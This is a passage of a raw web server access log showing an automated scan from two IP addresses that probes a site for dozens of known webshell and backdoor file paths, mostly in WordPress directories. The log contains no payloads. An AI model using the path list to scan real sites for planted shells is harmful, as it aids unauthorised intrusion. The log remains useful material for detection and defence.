795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:24 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:24 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:24 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:24 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:22:25 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:25 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:25 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:25 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:25 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:25 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:26 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:26 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:22:26 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:26 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:26 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:27 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:27 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:27 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 